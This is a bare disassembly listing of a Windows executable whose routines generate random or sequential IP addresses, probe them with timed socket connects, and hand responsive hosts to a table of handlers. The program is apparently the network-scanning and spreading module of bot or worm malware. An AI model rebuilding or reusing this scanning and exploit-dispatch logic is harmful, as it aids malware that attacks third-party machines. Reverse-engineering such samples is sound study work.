loc_40BFDE:				; CODE XREF: sub_40BD91+25Dj
		cmp	dword_4CE120, ebx
		jnz	short loc_40C00B
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40BFDE
; ---------------------------------------------------------------------------


loc_40BFF0:				; CODE XREF: sub_40BD91+24Bj
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431DA0
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C00B:				; CODE XREF: sub_40BD91+253j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C018:				; CODE XREF: sub_40BD91+35j
		mov	eax, [ebp+arg_130]
		mov	ecx, eax
		shl	ecx, 6
		cmp	dword_43180C[ecx], ebx
		jz	loc_40C141
		push	7
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C13B
		mov	eax, dword_4CE710
		cmp	[ebp+arg_90], bl
		mov	dword_4CDB44, eax
		mov	eax, [ebp+arg_110]
		mov	dword_4CDB38, eax
		mov	eax, [ebp+arg_138]
		mov	dword_4CDB40, ebx
		mov	dword_4CDBC8, eax
		push	7Fh
		jnz	short loc_40C08C
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, 1
		jmp	short loc_40C0A6
; ---------------------------------------------------------------------------


loc_40C08C:				; CODE XREF: sub_40BD91+2DCj
		lea	eax, [ebp+arg_90]
		push	eax
		push	offset dword_4CDB48
		call	sub_41BFD0
		add	esp, 0Ch
		mov	dword_4CDBCC, ebx


loc_40C0A6:				; CODE XREF: sub_40BD91+2F9j
		push	dword_4CDB44
		lea	eax, [ebp+var_204]
		push	offset unk_431D70
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	7
		push	eax
		call	sub_40B3BA
		add	esp, 18h
		mov	dword_4CDB3C, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CDB38
		push	offset sub_40F108
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, dword_4CDB3C
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C113


loc_40C101:				; CODE XREF: sub_40BD91+380j
		cmp	dword_4CDBD0, ebx
		jnz	short loc_40C12E
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40C101
; ---------------------------------------------------------------------------


loc_40C113:				; CODE XREF: sub_40BD91+36Ej
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D38
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C12E:				; CODE XREF: sub_40BD91+376j
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C13B:				; CODE XREF: sub_40BD91+2A8j
		mov	eax, [ebp+arg_130]


loc_40C141:				; CODE XREF: sub_40BD91+298j
		shl	eax, 6
		cmp	dword_431808[eax], ebx
		jz	loc_40C263
		push	3
		call	sub_40B602
		test	eax, eax
		pop	ecx
		jnz	loc_40C263
		mov	esi, offset dword_4CE3B4
		push	104h
		push	esi
		push	ebx
		call	dword_427078	; GetModuleFileNameA
		push	5Ch
		push	esi
		call	sub_41C820
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_40C182
		mov	[eax], bl


loc_40C182:				; CODE XREF: sub_40BD91+3EDj
		mov	eax, dword_42907C
		mov	dword_4CE4CC, ebx
		mov	dword_4CE4B8, eax
		lea	eax, [ebp+arg_10]
		push	eax
		push	offset dword_4CE12C
		call	sub_41C266
		mov	eax, [ebp+arg_110]
		pop	ecx
		pop	ecx
		mov	dword_4CE128, eax
		mov	ecx, [ebp+arg_138]
		push	esi
		push	dword_4CE4B8
		mov	dword_4CE4C4, ecx
		mov	ecx, [ebp+arg_13C]
		push	eax
		mov	dword_4CE4C8, ecx
		call	sub_40AA06
		pop	ecx
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_42C18C
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_204]
		push	3
		push	eax
		call	sub_40B3BA
		add	esp, 20h
		mov	dword_4CE4C0, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	ebx
		push	offset dword_4CE128
		push	offset sub_40FAD6
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, dword_4CE4C0
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C23B


loc_40C229:				; CODE XREF: sub_40BD91+4A8j
		cmp	dword_4CE4D4, ebx
		jnz	short loc_40C256
		push	32h
		call	dword_427080	; Sleep
		jmp	short loc_40C229
; ---------------------------------------------------------------------------


loc_40C23B:				; CODE XREF: sub_40BD91+496j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_204]
		push	offset unk_431D04
		push	eax
		call	sub_41C266
		add	esp, 0Ch


loc_40C256:				; CODE XREF: sub_40BD91+49Ej
		lea	eax, [ebp+var_204]
		push	eax
		call	sub_415D38
		pop	ecx


loc_40C263:				; CODE XREF: sub_40BD91+14j
					; sub_40BD91+25j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_40BD91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C267	proc near		; CODE XREF: sub_40C3E8:loc_40C459p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_0]
		push	esi
		push	4
		lea	esi, ds:4CBB20h[eax*8]
		lea	eax, [ebp+arg_0]
		push	esi
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB8FC	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9D0	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		push	esi
		call	sub_41CD20
		mov	eax, [esi]
		add	esp, 0Ch
		pop	esi
		pop	ebp
		retn
sub_40C267	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2AF	proc near		; CODE XREF: sub_40C3E8+69p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		or	esi, 0FFFFFFFFh
		push	[ebp+arg_0]
		mov	[ebp+var_C], esi
		mov	[ebp+var_8], esi
		mov	[ebp+var_4], esi
		mov	[ebp+var_10], esi
		call	sub_41B9C0
		cmp	eax, 0Fh
		pop	ecx
		jbe	short loc_40C2D7
		xor	eax, eax
		jmp	short loc_40C348
; ---------------------------------------------------------------------------


loc_40C2D7:				; CODE XREF: sub_40C2AF+22j
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	[ebp+arg_0]
		call	sub_41CCE3
		add	esp, 18h
		cmp	[ebp+var_C], esi
		jnz	short loc_40C304
		call	sub_41C2C2
		mov	[ebp+var_C], eax


loc_40C304:				; CODE XREF: sub_40C2AF+4Bj
		cmp	[ebp+var_8], esi
		jnz	short loc_40C311
		call	sub_41C2C2
		mov	[ebp+var_8], eax


loc_40C311:				; CODE XREF: sub_40C2AF+58j
		cmp	[ebp+var_4], esi
		jnz	short loc_40C31E
		call	sub_41C2C2
		mov	[ebp+var_4], eax


loc_40C31E:				; CODE XREF: sub_40C2AF+65j
		mov	eax, [ebp+var_10]
		cmp	eax, esi
		jnz	short loc_40C32A
		call	sub_41C2C2


loc_40C32A:				; CODE XREF: sub_40C2AF+74j
		shl	eax, 8
		add	eax, [ebp+var_4]
		mov	ecx, [ebp+var_C]
		shl	eax, 8
		add	eax, [ebp+var_8]
		shl	eax, 8
		add	eax, ecx
		mov	ecx, [ebp+arg_4]
		mov	dword_4CBB20[ecx*8], eax


loc_40C348:				; CODE XREF: sub_40C2AF+26j
		pop	esi
		leave
		retn
sub_40C2AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C34B	proc near		; CODE XREF: sub_40BB65+59p
					; sub_40C3E8+BBp ...

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_1C		= word ptr -1Ch
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 120h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	edi
		xor	ebx, ebx
		push	ebx
		push	edi
		push	2
		mov	[ebp+var_4], edi
		call	dword_4CBA54	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_40C374
		xor	eax, eax
		jmp	short loc_40C3E3
; ---------------------------------------------------------------------------


loc_40C374:				; CODE XREF: sub_40C34B+23j
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 2
		mov	[ebp+var_18], eax
		call	dword_4CB9D4	; htons
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_4]
		push	eax
		push	8004667Eh
		push	esi
		call	dword_4CBA70	; ioctlsocket
		lea	eax, [ebp+var_1C]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C	; connect
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_120]
		push	ebx
		push	eax
		push	ebx
		push	ebx
		mov	[ebp+var_11C], esi
		mov	[ebp+var_120], edi
		call	dword_4CB9BC	; select
		push	esi
		mov	edi, eax
		call	dword_4CBA6C	; closesocket
		xor	eax, eax
		cmp	edi, ebx
		setnle	al


loc_40C3E3:				; CODE XREF: sub_40C34B+27j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C34B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C3E8	proc near		; DATA XREF: sub_40C600+13Bo

var_2A8		= dword	ptr -2A8h
var_28C		= byte ptr -28Ch
var_20C		= dword	ptr -20Ch
var_208		= byte ptr -208h
var_1F8		= byte ptr -1F8h
var_178		= byte ptr -178h
var_16C		= dword	ptr -16Ch
var_168		= dword	ptr -168h
var_164		= dword	ptr -164h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_150		= byte ptr -150h
var_140		= byte ptr -140h
var_C0		= byte ptr -0C0h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_150]
		rep movsd
		mov	esi, [ebp+var_2C]
		mov	dword ptr [eax+148h], 1
		mov	eax, [ebp+var_28]
		mov	[ebp+var_4], esi
		mov	[ebp+arg_0], eax
		call	dword_4270B0	; GetTickCount
		push	eax
		call	sub_41C2B8
		mov	ebx, esi
		pop	ecx
		imul	ebx, 234h


loc_40C42F:				; CODE XREF: sub_40C3E8+204j
		mov	eax, dword_43E914[ebx]
		cmp	dword_4CBB24[eax*8], 0
		jz	loc_40C5F1
		cmp	[ebp+var_10], 0
		push	eax
		jz	short loc_40C459
		lea	eax, [ebp+var_150]
		push	eax
		call	sub_40C2AF
		pop	ecx
		jmp	short loc_40C45E
; ---------------------------------------------------------------------------


loc_40C459:				; CODE XREF: sub_40C3E8+60j
		call	sub_40C267


loc_40C45E:				; CODE XREF: sub_40C3E8+6Fj
		pop	ecx
		mov	edi, eax
		push	[ebp+arg_0]
		push	dword_43E914[ebx]
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E64
		push	eax
		call	sub_41C266
		add	esp, 18h
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, dword_43E710[ebx]
		push	eax
		call	sub_41C266
		push	[ebp+var_38]
		push	[ebp+var_3C]
		push	edi
		call	sub_40C34B
		add	esp, 14h
		cmp	eax, 1
		jnz	loc_40C5E1
		cmp	[ebp+var_20], 0FFFFFFFFh
		jnz	short loc_40C535
		push	offset dword_4CDB20
		call	dword_4270DC	; RtlEnterCriticalSection
		push	[ebp+var_3C]
		push	edi
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_28C]
		push	offset unk_431E3C
		push	eax
		call	sub_41C266
		add	esp, 10h
		cmp	[ebp+var_14], 0
		jnz	short loc_40C517
		cmp	[ebp+var_C0], 0
		push	1
		push	[ebp+var_18]
		lea	eax, [ebp+var_28C]
		push	eax
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C50B
		lea	eax, [ebp+var_140]


loc_40C50B:				; CODE XREF: sub_40C3E8+11Bj
		push	eax
		push	[ebp+var_40]
		call	sub_409869
		add	esp, 14h


loc_40C517:				; CODE XREF: sub_40C3E8+100j
		lea	eax, [ebp+var_28C]
		push	eax
		call	sub_415D38
		mov	[esp+2A8h+var_2A8], offset dword_4CDB20
		call	dword_4270D8	; RtlLeaveCriticalSection
		jmp	loc_40C5E1
; ---------------------------------------------------------------------------


loc_40C535:				; CODE XREF: sub_40C3E8+D0j
		push	edi
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_208]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_20]
		pop	ecx
		shl	eax, 6
		pop	ecx
		add	eax, offset aSym ; "sym"
		push	eax
		lea	eax, [ebp+var_178]
		push	eax
		call	sub_41C266
		cmp	[ebp+var_C0], 0
		pop	ecx
		pop	ecx
		lea	eax, [ebp+var_C0]
		jnz	short loc_40C57A
		lea	eax, [ebp+var_140]


loc_40C57A:				; CODE XREF: sub_40C3E8+18Aj
		push	eax
		lea	eax, [ebp+var_1F8]
		push	eax
		call	sub_41C266
		mov	eax, [ebp+var_40]
		pop	ecx
		mov	[ebp+var_20C], eax
		mov	eax, [ebp+var_18]
		pop	ecx
		mov	[ebp+var_15C], eax
		mov	eax, [ebp+var_14]
		sub	esp, 0BCh
		mov	[ebp+var_158], eax
		mov	eax, [ebp+var_3C]
		push	2Fh
		mov	[ebp+var_16C], eax
		mov	eax, [ebp+var_20]
		pop	ecx
		mov	[ebp+var_168], esi
		mov	[ebp+var_164], eax
		lea	esi, [ebp+var_20C]
		mov	edi, esp
		shl	eax, 6
		rep movsd
		call	off_4317FC[eax]
		mov	esi, [ebp+var_4]
		add	esp, 0BCh


loc_40C5E1:				; CODE XREF: sub_40C3E8+C6j
					; sub_40C3E8+148j
		push	7D0h
		call	dword_427080	; Sleep
		jmp	loc_40C42F
; ---------------------------------------------------------------------------


loc_40C5F1:				; CODE XREF: sub_40C3E8+55j
		push	esi
		call	sub_40B6D6
		pop	ecx
		push	0
		call	dword_4270D4	; ExitThread
sub_40C3E8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C600	proc near		; DATA XREF: sub_401ACD+1F2Ao
					; sub_401ACD+5B7Ao

var_1DC		= dword	ptr -1DCh
var_1CC		= byte ptr -1CCh
var_14C		= byte ptr -14Ch
var_13C		= byte ptr -13Ch
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1CCh
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	53h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_14C]
		push	1
		pop	ebx
		rep movsd
		mov	[eax+144h], ebx
		lea	eax, [ebp+var_14C]
		push	eax
		call	dword_4CBA14	; inet_addr
		mov	ecx, [ebp+var_2C]
		sub	esp, 14Ch
		lea	esi, [ebp+var_14C]
		push	53h
		mov	dword_4CBB20[ecx*8], eax
		pop	ecx
		mov	edi, esp
		rep movsd
		call	sub_40BD91
		push	0Bh
		call	sub_40B602
		add	esp, 150h
		cmp	eax, ebx
		jnz	short loc_40C6CE
		mov	esi, offset dword_4CDB20
		push	esi
		call	dword_4270E4	; RtlDeleteCriticalSection
		push	80000400h
		push	esi
		call	dword_4270E0	; InitializeCriticalSectionAndSpinCount
		test	eax, eax
		jnz	short loc_40C6CE
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F48
		push	eax
		call	sub_41C266
		xor	ebx, ebx
		pop	ecx
		cmp	[ebp+var_10], ebx
		pop	ecx
		jnz	short loc_40C6B8
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C6B8:				; CODE XREF: sub_40C600+99j
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		pop	ecx
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
; ---------------------------------------------------------------------------


loc_40C6CE:				; CODE XREF: sub_40C600+63j
					; sub_40C600+7Fj
		mov	eax, [ebp+var_2C]
		mov	esi, dword_427080
		mov	edi, ebx
		mov	dword_4CBB24[eax*8], ebx
		xor	ebx, ebx
		cmp	[ebp+var_20], 1
		jb	loc_40C79B


loc_40C6EC:				; CODE XREF: sub_40C600+195j
		push	edi
		lea	eax, [ebp+var_14C]
		push	[ebp+var_2C]
		mov	[ebp+var_24], edi
		push	[ebp+var_38]
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431F14
		push	eax
		call	sub_41C266
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	0Bh
		push	eax
		call	sub_40B3BA
		mov	[ebp+var_28], eax
		imul	eax, 234h
		mov	ecx, [ebp+var_2C]
		add	esp, 24h
		mov	dword_43E914[eax], ecx
		lea	eax, [ebp+var_14C]
		push	ebx
		push	ebx
		push	eax
		push	offset sub_40C3E8
		push	ebx
		push	ebx
		call	dword_427084	; CreateThread
		mov	ecx, [ebp+var_28]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_43E924[ecx], eax
		jz	short loc_40C766


loc_40C75B:				; CODE XREF: sub_40C600+164j
		cmp	[ebp+var_4], ebx
		jnz	short loc_40C78D
		push	1Eh
		call	esi	; Sleep
		jmp	short loc_40C75B
; ---------------------------------------------------------------------------


loc_40C766:				; CODE XREF: sub_40C600+159j
		call	dword_427094	; RtlGetLastWin32Error
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431EDC
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		add	esp, 10h


loc_40C78D:				; CODE XREF: sub_40C600+15Ej
		push	1Eh
		call	esi	; Sleep
		inc	edi
		cmp	edi, [ebp+var_20]
		jbe	loc_40C6EC


loc_40C79B:				; CODE XREF: sub_40C600+E6j
		cmp	[ebp+var_30], ebx
		jz	loc_40C845
		mov	eax, [ebp+var_30]
		imul	eax, 0EA60h
		push	eax
		call	esi	; Sleep


loc_40C7B0:				; CODE XREF: sub_40C600+250j
		push	[ebp+var_30]
		mov	eax, [ebp+var_2C]
		push	[ebp+var_38]
		mov	eax, dword_4CBB20[eax*8]
		push	eax
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_1CC]
		push	offset unk_431E9C
		push	eax
		call	sub_41C266
		add	esp, 14h
		cmp	[ebp+var_10], ebx
		jnz	short loc_40C7FE
		push	ebx
		lea	eax, [ebp+var_1CC]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_13C]
		push	eax
		push	[ebp+var_3C]
		call	sub_409869
		add	esp, 14h


loc_40C7FE:				; CODE XREF: sub_40C600+1DFj
		lea	eax, [ebp+var_1CC]
		push	eax
		call	sub_415D38
		mov	eax, [ebp+var_2C]
		mov	[esp+1DCh+var_1DC], 0BB8h
		mov	dword_4CBB24[eax*8], ebx
		call	esi	; Sleep
		push	0Bh
		call	sub_40B602
		cmp	eax, 1
		pop	ecx
		jnz	short loc_40C835
		push	offset dword_4CDB20
		call	dword_4270E4	; RtlDeleteCriticalSection


loc_40C835:				; CODE XREF: sub_40C600+228j
		push	[ebp+var_2C]
		call	sub_40B6D6
		pop	ecx
		push	ebx
		call	dword_4270D4	; ExitThread


loc_40C845:				; CODE XREF: sub_40C600+19Ej
					; sub_40C600+25Dj
		mov	eax, [ebp+var_2C]
		cmp	dword_4CBB24[eax*8], 1
		jnz	loc_40C7B0
		push	7D0h
		call	esi	; Sleep
		jmp	short loc_40C845
sub_40C600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C85F	proc near		; DATA XREF: sub_40C92C+7Bo
					; sub_40CA1D+7Bo

var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= dword	ptr -38h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0BCh
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_BC]
		push	1
		rep movsd
		pop	esi
		mov	[eax+0A8h], esi
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+var_38]
		call	dword_4CB9D4	; htons
		mov	[ebp+var_E], ax
		mov	eax, [ebp+var_28]
		push	6
		push	esi
		push	2
		mov	[ebp+var_C], eax
		call	dword_4CBA54	; socket
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40C91D
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	esi
		call	dword_4CB97C	; connect
		mov	ecx, [ebp+var_2C]
		imul	ecx, 234h
		cmp	eax, 0FFFFFFFFh
		mov	dword_43E91C[ecx], esi
		jz	short loc_40C91D
		push	[ebp+var_38]
		push	[ebp+var_28]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		mov	edi, offset dword_4CE4E4
		push	offset unk_431F7C
		push	edi
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_B8]
		push	[ebp+var_20]
		push	edi
		push	eax
		push	[ebp+var_BC]
		call	sub_409869
		push	edi
		call	sub_415D38
		add	esp, 28h


loc_40C91D:				; CODE XREF: sub_40C85F+5Dj
					; sub_40C85F+7Ej
		push	esi
		call	dword_4CBA6C	; closesocket
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn	4
sub_40C85F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_40C92C	proc near		; DATA XREF: sub_401ACD+5F60o

var_134		= byte ptr -134h
var_B4		= byte ptr -0B4h
var_30		= dword	ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 134h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B4]
		rep movsd
		mov	esi, dword_427080
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40C95A:				; CODE XREF: sub_40C92C+ECj
		push	[ebp+var_30]
		push	[ebp+var_20]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_134]
		push	offset unk_431FA4
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_134]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_24]
		imul	eax, 234h
		add	eax, offset dword_43E710
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_B4]
		push	edi
		push	eax
		push	offset sub_40C85F
		push	edi
		push	edi
		call	dword_427084	; CreateThread
		cmp	eax, edi
		mov	[ebp+var_4], eax
		jz	short loc_40C9C6


loc_40C9BB:				; CODE XREF: sub_40C92C+98j
		cmp	[ebp+var_C], edi
		jnz	short loc_40C9C6
		push	32h
		call	esi	; Sleep
		jmp	short loc_40C9BB
; ---------------------------------------------------------------------------


loc_40C9C6:				; CODE XREF: sub_40C92C+8Dj
					; sub_40C92C+92j
		push	[ebp+var_4]
		call	dword_427070	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		lea	eax, [ebp+var_20]
		push	4
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		push	[ebp+arg_0]
		call	dword_4CB8FC	; htonl
		inc	eax
		push	eax
		mov	[ebp+arg_0], eax
		call	dword_4CB9D0	; htonl
		mov	[ebp+arg_0], eax
		lea	eax, [ebp+arg_0]
		push	4
		push	eax
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		jmp	loc_40C95A
sub_40C92C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40CA1D	proc near		; DATA XREF: sub_401ACD+5C80o

var_130		= byte ptr -130h
var_B0		= dword	ptr -0B0h
var_AC		= byte ptr -0ACh
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_14		= dword	ptr -14h
var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 130h
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	edi
		push	2Bh
		mov	esi, ebx
		pop	ecx
		lea	edi, [ebp+var_B0]
		rep movsd
		mov	esi, dword_427080
		mov	dword ptr [ebx+0A4h], 1
		xor	edi, edi


loc_40CA4B:				; CODE XREF: sub_40CA1D+BCj
		push	[ebp+var_2C]
		push	[ebp+var_1C]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_431FF8
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_130]
		push	1FFh
		push	eax
		mov	eax, [ebp+var_20]
		imul	eax, 234h
		add	eax, offset dword_43E710
		push	eax
		call	sub_41BFD0
		add	esp, 1Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_B0]
		push	edi
		push	eax
		push	offset sub_40C85F
		push	edi
		push	edi
		call	dword_427084	; CreateThread
		cmp	eax, edi
		mov	[ebp+arg_0], eax
		jz	short loc_40CAB7


loc_40CAAC:				; CODE XREF: sub_40CA1D+98j
		cmp	[ebp+var_8], edi
		jnz	short loc_40CAB7
		push	32h
		call	esi	; Sleep
		jmp	short loc_40CAAC
; ---------------------------------------------------------------------------


loc_40CAB7:				; CODE XREF: sub_40CA1D+8Dj
					; sub_40CA1D+92j
		push	[ebp+arg_0]
		call	dword_427070	; CloseHandle
		push	dword ptr [ebx+8Ch]
		mov	[ebx+0A8h], edi
		call	esi	; Sleep
		mov	eax, [ebp+var_2C]
		cmp	eax, [ebp+var_28]
		jz	short loc_40CADE
		inc	[ebp+var_2C]
		jmp	loc_40CA4B
; ---------------------------------------------------------------------------


loc_40CADE:				; CODE XREF: sub_40CA1D+B7j
		push	[ebp+var_1C]
		call	dword_4CBA60	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_130]
		push	offset unk_431FCC
		push	eax
		call	sub_41C266
		push	edi
		lea	eax, [ebp+var_130]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_AC]
		push	eax
		push	[ebp+var_B0]
		call	sub_409869
		push	[ebp+var_20]
		call	sub_40B6D6
		add	esp, 24h
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	4
sub_40CA1D	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB2A	proc near		; CODE XREF: sub_40CD9E+Ep
					; sub_40CD9E+33p ...
		mov	eax, ecx
		and	dword ptr [eax+4], 0
		and	dword ptr [eax], 0
		retn
sub_40CB2A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40CB34	proc near		; CODE XREF: sub_40CD9E+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		call	sub_41BEB5
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40CB66
		push	ebx
		push	0
		push	edi
		call	sub_41BF70
		push	ebx
		push	[esp+1Ch+arg_0]
		push	edi
		call	sub_41CD20
		add	esp, 18h
		mov	[esi+4], ebx
		mov	[esi], edi


loc_40CB66:				; CODE XREF: sub_40CB34+14j
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
